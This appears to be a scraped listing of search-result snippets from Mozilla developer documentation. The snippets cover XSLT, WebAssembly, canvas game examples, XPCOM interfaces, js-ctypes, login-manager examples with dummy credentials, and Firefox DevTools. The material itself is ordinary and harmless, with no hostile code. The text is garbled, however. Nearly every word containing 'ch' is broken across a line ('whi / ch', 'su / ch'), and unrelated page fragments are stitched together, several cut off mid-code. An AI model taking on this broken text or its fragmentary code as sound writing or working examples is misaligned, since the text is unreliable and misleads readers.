ch nodes of that language with any country code.
Common XSLT Errors - XSLT: Extensible Stylesheet Language Transformations
however these versions also used a draft version of xslt whi
ch is incompatible with what eventually became the xslt 1.0 specification.
... missing features there are some features in the xslt 1.0 specification whi
ch firefox unfortunately does not yet support.
...while we could try to add some heuristics to serialize and reparse just the part of the output document whi
ch has disable-output-escaping applied, heuristics often get things wrong and lead to surprising results, hence we've been reluctant to add this so far.
... often times stylesheets contain code like <xsl:text disable-output-escaping="yes"> </xsl:text>, this is equivalent to simply putting   in the stylesheet whi
ch will work great in all xslt engines.
<xsl:preserve-space> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:preserve-space> element defines the elements in the source document for whi
ch whitespace should be preserved.
... if there is more than one element, separate the names with a whitespace
character.
... syntax <xsl:preserve-space elements=list-of-element-names /> required attributes elements specifies the elements for whi
ch whitespace should be preserved.
... type top-level, must be a
child of <xsl:stylesheet> or <xsl:transform>.
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
a top-level element must appear as the
child of either <xsl:stylesheet> or <xsl:transform>.
...an attribute value template is simply a string that includes an embedded xpath expression whi
ch is used to specify the value of an attribute.
...<xsl:apply-imports><xsl:apply-templates><xsl:attribute-set><xsl:attribute><xsl:call-template><xsl:
choose><xsl:comment><xsl:copy-of><xsl:copy><xsl:decimal-format><xsl:element><xsl:fallback><xsl:for-ea
ch><xsl:if><xsl:import><xsl:include><xsl:key><xsl:message><xsl:namespace-alias><xsl:number><xsl:otherwise><xsl:output><xsl:param><xsl:preserve-space><xsl:processing-instruction><xsl:sort><xsl:strip-space><xsl:stylesheet><xsl:template><xsl:text><xsl:transform><xsl:value-of><xsl:variable><xsl:when><xsl...
...:with-param> <xsl:apply-imports> <xsl:apply-templates> <xsl:attribute> <xsl:attribute-set> <xsl:call-template> <xsl:
choose> <xsl:comment> <xsl:copy> <xsl:copy-of> <xsl:decimal-format> <xsl:element> <xsl:fallback> (not supported) <xsl:for-ea
ch> <xsl:if> <xsl:import> (mostly supported) <xsl:include> <xsl:key> <xsl:message> <xsl:namespace-alias> (not supported) <xsl:number> (partially supported) <xsl:otherwise> <xsl:output> (partially supported) <xsl:param> <xsl:preserve-space> <xsl:processing-instruction> <xsl:sort> <xsl:strip-space> <xsl:stylesheet> (partially supported) <xsl:template> <xsl:text> (partially supported) <xsl:transform> <xsl:value-of> (partially supported) <xsl:variable> <xsl:when> <xsl:with-param> ...
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
the stylesheet has to be passed in as an xml document, whi
ch means that the .xsl file has to be loaded by the page before calling xsltprocessor.importstylesheet().
... figure 1 : instantiating an xsltprocessor var xsltprocessor = new xsltprocessor(); // load the xsl file using syn
chronous (third param is set to false) xmlhttprequest var myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example.xsl", false); myxmlhttprequest.send(null); var xslref = myxmlhttprequest.responsexml; // finally import the .xsl xsltprocessor.importstylesheet(xslref); for the actual transformation, xsltprocessor requires an xml document, whi
ch is used in conjunction with the imported xsl file to produce the final result.
...the cloned dom can then be easily inserted into the xml document using node.append
child(), as shown in figure 2.
... // importnode is used to clone the nodes we want to process via xslt - true makes it do a deep clone var mynode = document.getelementbyid("example"); var clonednode = xmlref.importnode(mynode, true); // add the cloned dom into the xml document xmlref.append
child(clonednode); once the stylesheet has been imported, xsltprocessor has to perform two methods for the actual transformation, namely xsltprocessor.transformtodocument() and xsltprocessor.transformtofragment().
Converting WebAssembly text format to wasm - WebAssembly
the web app in whi
ch we are using our webassembly module).
... when it is called, it calls an imported javascript function called imported_func, whi
ch is run with the value (42) provided as a parameter.
...to do this, we can use the wabt tool, whi
ch includes compilers to convert between webassembly’s text representation and wasm, and vice versa, plus more besides.
... next, execute the wat2wasm program, passing it the path to the input file, followed by an -o parameter, followed by the path to the output file: wat2wasm simple.wat -o simple.wasm this will convert the wasm into a file called simple.wasm, whi
ch contains the .wasm assembly code.
Square tilemaps implementation: Static maps - Game development
note: when writing this article, we assumed previous reader knowledge of canvas basics su
ch as how get a 2d canvas context, load images, etc., whi
ch is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
...this is the atlas we will be using as an example, whi
ch features five different tiles: to draw a tile from the atlas into the canvas we make use of the drawimage() method in a canvas 2d context.
... we need to supply the atlas image, the coordinates and dimensions of the tile inside the atlas, and the target coordinates and size (a different tile size in here would scale the tile.) so, for instance, to draw the tree tile, whi
ch is the third in the atlas, at the screen coordinates (128, 320), we would call drawimage() with these values: context.drawimage(atlasimage, 192, 0, 64, 64, 128, 320, 64, 64); in order to support atlases with multiple rows and columns, you would need to know how many rows and columns there are to be able to compute the source x and y.
Mouse controls - Game development
add the following line in the same place as the other event listeners, just below the keyup event: document.addeventlistener("mousemove", mousemovehandler, false); an
choring the paddle movement to the mouse movement we can update the paddle position based on the pointer coordinates — the following handler function will do exactly that.
... add the following function to your code, below the previous line you added: function mousemovehandler(e) { var relativex = e.clientx - canvas.offsetleft; if(relativex > 0 && relativex < canvas.width) { paddlex = relativex - paddlewidth/2; } } in this function we first work out a relativex value, whi
ch is equal to the horizontal mouse position in the viewport (e.clientx) minus the distance between the left edge of the canvas and left edge of the viewport (canvas.offsetleft) — effectively this is equal to the distance between the canvas left edge and the mouse pointer.
... if the relative x pointer position is greater than zero and lower than the canvas width, the pointer is within the canvas boundaries, and the paddlex position (an
chored on the left edge of the paddle) is set to the relativex value minus half the width of the paddle, so that the movement will actually be relative to the middle of the paddle.
Example 1 - Learn web development
basic state html <div class="select"> <span class="value">
cherry</span> <ul class="optlist hidden"> <li class="option">
cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> css /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus { box-shadow: 0 0 3px 1px #227755; outline: none; } .select .optlist { position: absolute; top : 100%; left : 0; } .select .optlist.hidden { max-height: 0; visibility: hidden; } /* ------------ */ /* fancy styles */ /* -----...
...order-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } result for basic state active state html <div class="select active"> <span class="value">
cherry</span> <ul class="optlist hidden"> <li class="option">
cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> css /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus { ...
... border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } result for active state open state html <div class="select active"> <span class="value">
cherry</span> <ul class="optlist"> <li class="option highlight">
cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> css /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus...
Use HTML to solve common problems - Learn web development
tems with html how to stress or emphasize content how to indicate that text is important how to display computer code with html how to annotate images and graphics how to mark abbreviations and make them understandable how to add quotations and citations to web pages how to define terms with html hyperlinks one of the main reasons for html is making navigation easy with hyperlinks, whi
ch can be used in many different ways: how to create a hyperlink how to create a table of contents with html images & multimedia how to add images to a webpage how to add video content to a webpage scripting & styling html only sets up document structure.
... how to use css within a webpage how to use javascript within a webpage embedded content how to embed a webpage within another webpage how to add flash content within a webpage uncommon or advanced problems beyond the basics, html is very ri
ch and offers advanced features for solving complex problems.
... how to use data attributes advanced text semantics how to take control of html line breaking how to mark
changes (added and removed text) — see the <ins> and <del> elements.
Test your skills: HTML text basics - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor su
ch as codepen, jsfiddle, or glit
ch.
...your post should include: a descriptive title su
ch as "assessment wanted for html text basics 1 skill test".
Test your skills: HTML images - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor su
ch as codepen, jsfiddle, or glit
ch.
...your post should include: a descriptive title su
ch as "assessment wanted for html image basics 1 skill test".
Test your skills: JSON - Learn web development
the json is loaded into the page as a text string and made available in the catstring parameter of the displaycatinfo() function, called when the provided promise
chain (whi
ch starts by fet
ching the json data) is fulfilled.
...you can get around these restrictions using cors, but this is beyond the scope of what we are tea
ching here.
...your post should include: a descriptive title su
ch as "assessment wanted for json skill test".
JavaScript performance - Learn web development
prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web te
chnologies.
... optimize these smaller files minification reduces the number of
characters in your file, thereby reducing the number of bytes or weight of your javascript.
... battery impact conclusion while optimizing your media files and scripts will get you very far along in terms of web performance optimization, everything that tou
ches a web pages impacts performance.
Mozilla Plugin Accessibility
all browser keys unavailable when plugin has focus focused plugins currently have no
choice but to consume all keyboard events.
...the plugin will be responsible for bubbling up shift+tab and tab when the user has rea
ched the end of the tab cycle within the plugin.
...a notable acception is the adobe pdf plugin on windows, whi
ch supports msaa.
Adding a new word to the en-US dictionary
occasionally bugs are filed pointing out situations where perfectly legitimate words are missing from the english spell
check dictionary in firefox.
... get into the dictionary sources directory using this command: cd extensions/spell
check/locales/hunspell/dictionary-sources there's a special script used for editing dictionaries.
... sh merge-dictionaries to process the dictionary
changes you've made.
Building SpiderMonkey with UBSan
/bin/sh if [ -z $1 ] ; then e
cho "usage: $0 <dirname>" elif [ -d $1 ] ; then e
cho "directory $1 already exists" else autoconf2.13 autoconf213 mkdir $1 cd $1 llvm_root="$home/llvm" sanflag="-fsanitize=undefined -fno-sanitize=alignment,float-cast-overflow,float-divide-by-zero,vptr -dxmalloc=myxmalloc" \ cc="$llvm_root/build/release+asserts/bin/clang" \ cxx="$llvm_root/build/release+asserts/bin/clang++" \ cflags="$sanflag" \ cxxflags="$sanflag" \ moz_llvm_hacks=1 \ ../configure --enable-debug --disable-optimize make -j 8 fi 3.
...this enables all the
cheap undefined behavior
checks other than: alignment, whi
ch hits known bugs in spidermonkey, and is more implementation-defined (slow on x86 / crash on arm) than undefined behavior float-cast-overflow, whi
ch hits known bugs in spidermonkey, and isn't exploited by today's compilers float-divide-by-zero, whi
ch jesse doesn't think is actually undefined behavior (aside from the question of whether cpu overflow flags are set) vptr, a
check that requires rtti, whi
ch is disabled by default in spidermonkey 4.
... the stack trace should show a function su
ch as __ubsan_handle_load_invalid_value or __ubsan_handle_type_mismat
ch being called by the buggy c++ code.
Creating a Firefox sidebar
you can
choose either depending on your needs and resources.
...su
ch kind of sidebar can be a simple web panel or a full-featured extension that is completely integrated with the browser.
... see also bootstrap addon demo whi
ch adds a sidebar with browser for html content: https://gist.github.com/noitidart/8728393 ...
Adding APIs to the navigator object
ea
ch method below of adding new objects to the navigator object requires that the new object is a registered xpcom component.
... using a manifest to add an object to navigator you can also add an object to the window.navigator object by using the
chrome manifest of an add-on: component {ffffffff-ffff-ffff-ffff-ffffffffffff} mycomponent.js contract @mozilla.org/mycomponent;1 {ffffffff-ffff-ffff-ffff-ffffffffffff} category javascript-navigator-property mycomponent @mozilla.org/mycomponent;1 generate a guid and replace the "ffff" sections in both the component and contract lines with your guid.
... this adds a new api, mycomponent, to the navigator object, whi
ch you can then access as navigator.mycomponent.
Multiprocess Firefox
message manager a complete guide to the objects used to communicate between
chrome code and web content.
... cross process object wrappers cross process object wrappers are a migration aid, giving
chrome code syn
chronous access to web content.
... limitations of
chrome scripts practices that will no longer work in
chrome code, and how to update them.
HTMLIFrameElement.goBack()
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... by calling this method, the browser <iframe>
changes its location for the previous location available in its navigation history, whi
ch sends a series of related events: mozbrowserlocation
change, mozbrowserloadstart, and so on.
... examples back.addeventlistener('tou
chend',function() { browser.goback(); }); specification not part of any specification.
HTMLIFrameElement.goForward()
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... by calling this method, the browser <iframe>
changes its location to the next location available in its navigation history, whi
ch sends a series of related events: mozbrowserlocation
change, mozbrowserloadstart and so on.
... examples fwd.addeventlistener('tou
chend',function() { browser.goforward(); }); specification not part of any specification.
mozbrowseractivitydone
there may also be large incompatibilities between implementations and the behavior may
change in the future.
...postresult and posterror calls made on su
ch an activity will be ignored and have no effect.
... examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseractivitydone", function(event) { if(event.details.success) { console.log('activity completed successfully'); } else { console.log('activity not completed successfully'); } }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericon
change mozbrowserloadend mozbrowserloadstart mozbrowserlocation
change mozbrowseropenwindow mozbrowsersecurity
change mozbrowsertitle
change mozbrowserusernameandpasswordrequired ...
nsIDebug
xpcom/base/nsidebug.idlscriptable provides debugging support for scripted languages, su
ch as javascript, java, python, perl, and so forth.
... inherits from: nsisupports last
changed in gecko 1.7 note: c/c++ consumers who are planning to use the nsidebug interface with the @mozilla.org/xpcom;1 contract should use ns_debugbreak() from xpcom glue instead, or alternatively the ns_abort, ns_assertion, ns_break, and ns_warning macros, whi
ch also call ns_debugbreak() if used in a debugging build.
...this allows the debugger to be atta
ched before the software break.
nsIDeviceMotionListener
xpcom/system/nsidevicemotion.idlscriptable this interface can be implemented by clients that want to be notified orientation or acceleration
changes on supported devices.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last
changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void onmotion
change(in nsidevicemotiondata amotiondata); methods onmotion
change() called when new orientation or acceleration data is available.
... void onmotion
change( in nsidevicemotiondata amotiondata ); parameters aacceleration the nsidevicemotiondata object describing updated motion information.
nsIDialogParamBlock
embedding/components/windowwat
cher/public/nsidialogparamblock.idlscriptable an interface to pass strings, integers and nsisupports to a dialog.
... inherits from: nsisupports last
changed in gecko 1.7 method overview print32 getint( in print32 inindex ); wstring getstring( in print32 inindex ); void setint( in print32 inindex, in print32 inint ); void setnumberstrings( in print32 innumstrings ); void setstring( in print32 inindex, in wstring instring); attributes attribute type description objects nsimutablearray a place where you can store an nsimutablearray to pass nsisupports.
...use before setting any string (if you want to
change it from the default).
nsIFactory
inherits from: nsisupports last
changed in gecko 0.9.5 method overview void createinstance(in nsisupports aouter, in nsiidref iid, [retval, iid_is(iid)] out nsqiresult result); void lockfactory(in prbool lock); methods createinstance() creates an instance of the class associated with this factory.
... unlike getservice, this returns a new instance ea
ch time it is called.
... iid the iid of the interface being requested in the component whi
ch is being currently created.
nsIFaviconDataCallback
1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void oncomplete(in nsiuri auri, in unsigned long adatalen, [const,array,size_is(adatalen)] in octet adata, in autf8string amimetype); methods oncomplete() called when the required favicon's information is available.
...
check the method documentation to ensure that.
...it's up to the caller to
check adatalen > 0 before using any data-related information like mime-type or data itself.
nsIFeedEntry
1.0 66 introduced gecko 1.8 inherits from: nsifeedcontainer last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description content nsifeedtextconstruct the full text of the entry's content.
... parent nsifeedcontainer a reference to the entry's parent, whi
ch is either a feed (nsifeed or another entry.
... published astring a string indicating the date on whi
ch the entry was published, in rfc822 format.
nsIFormHistory2
toolkit/components/sat
chel/public/nsiformhistory.idlscriptable a service whi
ch holds a set of name/value pairs.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: this interface provides no means to access stored values.
... stored values are used by the formfillcontroller to generate autocomplete mat
ches.
nsIFrameLoaderOwner
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview [noscript, notxpcom] alreadyaddrefed_nsframeloader getframeloader(); void swapframeloaders(in nsiframeloaderowner aotherowner); attributes attribute type description frameloader nsiframeloader the frame loader owned by this nsiframeloaderowner.
...void swapframeloaders( in nsiframeloaderowner aotherowner ); parameters aotherowner the other frame loader owner with whi
ch to swap frame loaders.
... ns_error_not_implemented if the swapping logic is not implemented for the either the current frame loader owner or the specified one with whi
ch you're trying to swap.
nsIIDNService
inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/idn-service;1 as a service: var idnservice = components.classes["@mozilla.org/network/idn-service;1"] .getservice(components.interfaces.nsiidnservice); method overview autf8string convertacetoutf8(in acstring input); autf8string converttodisplayidn(in autf8string input, out boolean isascii); acstring convertutf8toace(in autf8string input); boolean isace(in acstring input); autf8string normalize(in autf8string input); methods convertacetoutf8() converts an ac...
...boolean isace( in acstring input ); parameters input the string to
check.
...see also idn
charter idn site idna specification ...
nsIInstallLocation
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: while this api still works, firefox 4 no longer extracts xpis by default, so this will now point to the xpi file instead of to the directory.
...note: this is a clone of the actual location whi
ch the caller can modify freely.
...you should not use the exact values here, you should offset from these values ea
ch time you create a new install location.
nsILoadGroup
inherits from: nsirequest last
changed in gecko 1.7 method overview void addrequest(in nsirequest arequest, in nsisupports acontext); void removerequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatus); attributes attribute type description activecount unsigned long returns the count of "active" requests (that is requests without the load_background bit set).
...ea
ch time a number of requests are added to a group, the defaultloadrequest may be set to indicate that all of the requests are related to a base request.
...if the default load request is null, then the group's load flags are not
changed.
Using nsILoginManager
to do so securely, they can use nsiloginmanager, whi
ch provides for secure storage of sensitive password information and nsilogininfo, whi
ch provides a way of storing login information.
...nts.interfaces.nsilogininfo, "init" ); var logininfo = new nslogininfo( hostname, formsubmiturl, httprealm, username, password, usernamefield, passwordfield ); examples creating a login for a web page var formlogininfo = new nslogininfo( 'http://www.example.com', 'http://login.example.com', null, 'joe', 'secret123', 'uname', 'pword' ); this login would correspond to a html form su
ch as: <form action="http://login.example.com/foo/authenticate.cgi"> <div>please log in.</div> <label>username:</label> <input type="text" name="uname"> <label>password:</label> <input type="password" name="pword"> </form> creating a site authentication login var authlogininfo = new nslogininfo( 'http://www.example.com', null, 'exampleco login', 'alice', 'secret321', "", "" ); this w...
...ould correspond to a login on http://www.example.com when the server sends a reply su
ch as: http/1.0 401 authorization required server: apa
che/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( '
chrome://firefoo', null, 'user registration', 'bob', '123secret', "", "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org/manager/ci.init"); var extlogininfo = new aformsubmiturl, ausername, ausernamefield, ...
nsIModule
xpcom/components/nsimodule.idlscriptable this interface must be implemented by ea
ch xpcom component.
... it is the main entry point by whi
ch the system accesses an xpcom component.
... inherits from: nsisupports last
changed in gecko 0.9.9 method overview boolean canunload(in nsicomponentmanager acompmgr); void getclassobject(in nsicomponentmanager acompmgr, in nscidref aclass, in nsiidref aiid, [retval, iid_is(aiid)] out nsqiresult aresult); void registerself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr, in string atype); void unregisterself(in nsicomponentmanager acompmgr, in nsifile alocation, in string aloaderstr); methods canunload() this method may be queried to determine whether or not the component module can be unloaded by xpcom.
nsIMsgFilter
defined in comm-central/ mailnews/ base/ sear
ch/ public/ nsimsgfilter.idl attributes type attribute nsmsgruleactiontype type; priority // target priority..
...throws an exception if the action is not label attribute nsmsglabelvalue label; junkscore attribute long junkscore; strvalue attribute autf8string strvalue; customid // action id if type is custom attribute acstring customid; customaction // custom action associated with customid // (whi
ch must be set prior to reading this attribute) readonly attribute nsimsgfiltercustomaction customaction; methods addterm() void nsimsgfilter::addterm ( in nsmsgsear
chattribvalue attrib, in nsmsgsear
chopvalue op, in nsimsgsear
chvalue value, in boolean booleanand, in acstring arbitraryheader ) getterm() void nsimsgfilter::ge...
...tterm ( in long termindex, in nsmsgsear
chattribvalue attrib, in nsmsgsear
chopvalue op, in nsimsgsear
chvalue value, out boolean booleanand, out acstring arbitraryheader ) appendterm() void nsimsgfilter::appendterm (in nsimsgsear
chterm term) createterm() nsimsgsear
chterm nsimsgfilter::createterm ( ) mat
chhdr() void nsimsgfilter::mat
chhdr ( in nsimsgdbhdr msghdr, in nsimsgfolder folder, in nsimsgdatabase db, in string headers, in unsigned long headersize, out boolean result ) logrulehit() void nsimsgfilter::logrulehit ( in nsimsgruleaction afilteraction, in nsimsgdbhdr aheader ) createaction() nsimsgruleaction nsimsgfilter::create...
nsIObserverService
inherits from: nsisupports last
changed in gecko 0.9.6 the xpcom nsobserverservice implements this interface to provide global notifications for a variety of subsystems.
... void addobserver( in nsiobserver anobserver, in string atopic, in boolean ownsweak ); parameters anobserver the nsiobserver object whi
ch will receive notifications.
... example this notifies all nsiobservers wat
ching the "mytopicid" topic with an additional data parameter.
Using the Gecko SDK
(more information on xpcom is available at the xpcom project page.) the intent of this guide is to help you build your components "the right way" su
ch that they will remain compatible with future versions of mozilla.
...every frozen interface or function will be labeled as su
ch in the idl or header file with "@status frozen".
...all nspr functions are frozen by default and are not marked as su
ch in the respective header files.) the glue library exists to make common tasks easier.
Test-Info
ea
ch task generates one or more json-formatted data files providing detailed information on tests run in continuous integration, typically broken down by bugzilla component.
... running test-info locally "test-info" is a ma
ch command and can be run from any source tree.
... test-info has several sub-commands; the "report" sub-command is used by the test-info tasks mozilla-central$ ma
ch help test-info report to reproduce test-info(all): mozilla-central$ ma
ch test-info report --show-tests --show-summary --show-activedata running test-info on try to run these tasks on try, use something like: ma
ch try fuzzy -q test-info contact information test-info is maintained by :gbrown.
Account Provisioner
the account provisioner gives the user the
chance to sear
ch for and order a vanity email account from a list of partner providers.
... if the user already has an email account, the user can swit
ch to the original account setup wizard.
... debugging the account provisioner dialog logs most if not all of its activities, whi
ch is useful for debugging.
Buddy icons in mail
for the message pane, the icon we will show is on disk at: <profile home>/nim/<value of pref aim.session.screenname>/picture/<screenname for sender email address>.gif when trying to determine the screenname for the sender, we sear
ch the addressbook that we are using for collection.
... if there is no card mat
ching the email, the icon will not appear.
... the reason this file name s
cheme was
chosen was is this is how netscape 7.0 im stores buddy icons on disk.
Thunderbird API documentation
mu
ch of it may no longer be relevant.
... general mail client ar
chitecture overview mail event system events new!
... activity manager address book sync client design buddy icons in mail composition composition back end in mail ca
ched compose window faq filelink providers new!
Folders and message lists
changing the current message selection in addition to getting the currently-selected messages, you can also
change the selection: gfolderdisplay.selectmessage(msghdr): selects a single message, as specified by msghdr (an nsimsgdbhdr) and scrolls to its position in the message list.
...like selectmessage, this function will attempt to scroll the view so the entire selection is visible (whi
ch may not be possible for large selections).
... listing messages in a folder if you have a message folder, and would like to list all the messages in that folder, you can use the .messages attribute, whi
ch returns an nsisimpleenumerator.
Declaring and Calling Functions
example: no input parameters in this example, we declare the libc clock() function, whi
ch returns the elapsed time since system startup, then fet
ch and output that value.
... example: multiple input parameters this example declares the libc asctime() function, whi
ch converts a time structure into a string.
... const asctime = lib.declare("asctime", ctypes.default_abi, ctypes.
char.ptr, struct_tm.ptr); for a more complete version of this example (including the implementation of the struct_tm type), see the structures example.
ArrayType
ctype arraytype() type[ length] ); parameters type: it represents the type of the elements or variable whi
ch is going to be present in an array length optional it denotes the number of entries present in an array or the number of elements that an array should contain.
... in addition, ea
ch element in the array can be referenced by index using standard bracket notation, su
ch as myarray[index].
... arraytype cdata method_overview cdata addressofelement(idx) methods inherited from cdata cdata address() string tosource() string tostring() arraytype cdata methods addressofelement() returns a new cdata object of the appropriate pointer type, whose value points to the specified array element on whi
ch the method was called.
Library
cdata declare( name[, abi, returntype argtype1, ...] ); parameters name the name of the symbol exported by the native library that is to be declared as usable from javascript abi the abi used by the exported function; this will be ctypes.default_abi for most libraries, except for windows libraries, whi
ch will be ctypes.winapi_abi or ctypes.stdcall_abi.
...the first being the same as in the above example, name, whi
ch is the name of the symbol to export.
...for example, from the objective-c library we can export the symbol whi
ch holds the address to an external block.
UInt64
this may be specified as an integer (if the value can be represented as a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, whi
ch may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a hexadecimal number.
... warning: do not rely on the value returned by this method, as it's subject to
change at any time, depending on the debugging needs of the developers.
... var c2 = a1 * b2 + a2 * b1; var c3 = a1 * b3 + a2 * b2 + a3 * b1; var c4 = a1 * b4 + a2 * b3 + a3 * b2 + a4 * b1; var c5 = a1 * b5 + a2 * b4 + a3 * b3 + a4 * b2 + a5 * b1; c2 += c1 >>> 13; c1 &= 0x1fff; c3 += c2 >>> 13; c2 &= 0x1fff; c4 += c3 >>> 13; c3 &= 0x1fff; c5 += c4 >>> 13; c4 &= 0x1fff; var
ch = ((c5 << 20) | (c4 << 7) | (c3 >>> 6)) >>> 0; var cl = ((c3 << 26) | (c2 << 13) | c1) >>> 0; return uint64.join(
ch, cl); } function uint64_or(...uint64) { // bitwise or // if there are logical or and bitwise or, bitwise or may be named `bor` or `bitor`, but i don't think there could be logical or, so i think just `or` is the right name ensureuin...
js-ctypes
note: js-ctypes is only available from
chrome code; that is, ctypes is not available to websites, only application and extension code.
... using js-ctypes ctypes.open custom native file standard os libraries finding window handles working with data working with arraybuffers declaring types declaring and calling functions declaring and using callbacks type conversion memory management
chromeworker js-ctypes reference a reference guide to the js-ctypes api.
... using c structs and pointers using com from js-ctypes using objective-c from js-ctypes github :: o
chameau / jscpptypes a mangling library to use c++ from js-ctypes community view mozilla forums...
Blocking By Domain - Plugins
plugins su
ch as flash are a performance and security problem for firefox users.
...plugin detection me
chanisms su
ch as navigator.mimetypes and navigator.plugins will also behave as if the plugin were not installed.
... criteria in order to improve firefox security and performance, there are two major categories of sites mozilla may
choose to add to plugin domain blocking: sites commonly embedded in a 3rd-party context web sites whi
ch are commonly embedded into other sites using iframes can have a large impact on browser security and also cause many sites to show plugin activation prompts.
Preferences System
ui elements that refer to the preferences above, e.g.: <
checkbox id="
check1" preference="pref1" label="&
check1.label;" accesskey="&
check1.accesskey;"/> </prefpane> <prefpane id="pane2" label="&pane2.title;" src="
chrome://uri/to/pane.xul"/> </prefwindow> pane content can be specified inline or an external
chrome uri supplied for pane content to be loaded in via a dynamic overlay.
...you should also be careful to specify the width of the window (in em) as appropriate using the preprocessor for ea
ch targeted platform, as well as the height (in em) for platforms where the window size does not
change as the selected panel is
changed (e.g.
...example: var features = "
chrome,titlebar,toolbar,centerscreen,modal"; window.opendialog(url, "preferences", features); bugzilla the component for bugs in the preferences bindings (but not in firefox/thunderbird options ui) is toolkit:preferences (file a bug list open bugs) ...
Color vision simulation - Firefox Developer Tools
the most common forms of color blindness (commonly lumped together as "red-green color blindness") affect more men than women, because they are due to a mutation in a gene in the x
chromosome, whi
ch men usually have only one copy of.
... in the simulate menu, you can
choose one option at a time from the following list: none —
choose this to return to normal display protanomaly (low red) deuteranomaly (low green) tritanomaly (low blue) protanopia (no red) deuteranopia (no green) tritanopia (no blue) contrast loss these simulations are not completely medically accurate.
... however, they can give you a sense of what your web site looks like to users with vision problems, and therefore help you judge whether you need to make adjustments in your color or contrast
choices.
Set a logpoint - Firefox Developer Tools
the logpoint is especially useful in cases where breaking the execution breaks testing procedures, su
ch as when you are debugging popup windows, or executing focus-related logic.
...it’s faster than
changing the underlying source code itself to add calls to the console.log method.
... if you need to execute additional logic related to the source code and you can’t
change the source code itself, you can use a logpoint.
Set an XHR breakpoint - Firefox Developer Tools
an xhr (xmlhttprequest) breakpoint breaks code execution when an xhr request is dispat
ched so that you can examine the current state of the program.
...to turn on the feature: open the debugger click on "pause on any url" whi
ch acts as a wild card, causing the code to pause on any call, or, click the plus sign next to the xhr breakpoints header, enter the url in whi
ch you are interested, and press enter.
... inline variable preview new in firefox 71, the source pane now gives you an instant preview of the variables on ea
ch line of code you've stepped through.
The Firefox JavaScript Debugger - Firefox Developer Tools
open the debugger pretty-print a minified file sear
ch use a source map pause execution you probably want to pause the execution of your code, in order to see what is going on at various points.
... there are multiple ways to tell the debugger how and when to pause: set a breakpoint set a conditional breakpoint set an xhr breakpoint set event listener breakpoints break on exceptions use wat
chpoints for property reads and writes break on dom mutation disable breakpoints control execution what can you do after execution pauses?
... set a logpoint set wat
ch expressions reference keyboard shortcuts source map errors ...
Eyedropper - Firefox Developer Tools
underneath the magnifying glass it shows the color value for the current pixel using whi
chever s
cheme you've selected in settings > inspector > default color unit: you can use it in one of two ways: to select a color from the page and copy it to the clipboard to
change a color value in the inspector's rules view to a color you've selected from the page copying a color to the clipboard open the eyedropper in one of these two ways: select "eyedropper" under the "web developer" menu open the page inspector tab and click the eyedropper button in its toolbar as you move the m...
...ouse around the page you'll see the current color value in the eyedropper
change.
...
changing a color value in the rules view color values appearing in the inspector's rules view have color samples next to them: clicking the sample shows a color picker popup.
Basic operations - Firefox Developer Tools
to enable it, open the developer tool settings, and
check the "memory" box under "default firefox developer tools": from firefox 50 onwards, the memory tool is enabled by default.
... to load a snapshot from an existing .fxsnapshot file, click the import button, whi
ch looks like a rectangle with an arrow rising from it (before firefox 49, this button was labeled with the text "import..."): you'll be prompted to find a snapshot file on disk.
...to do this,
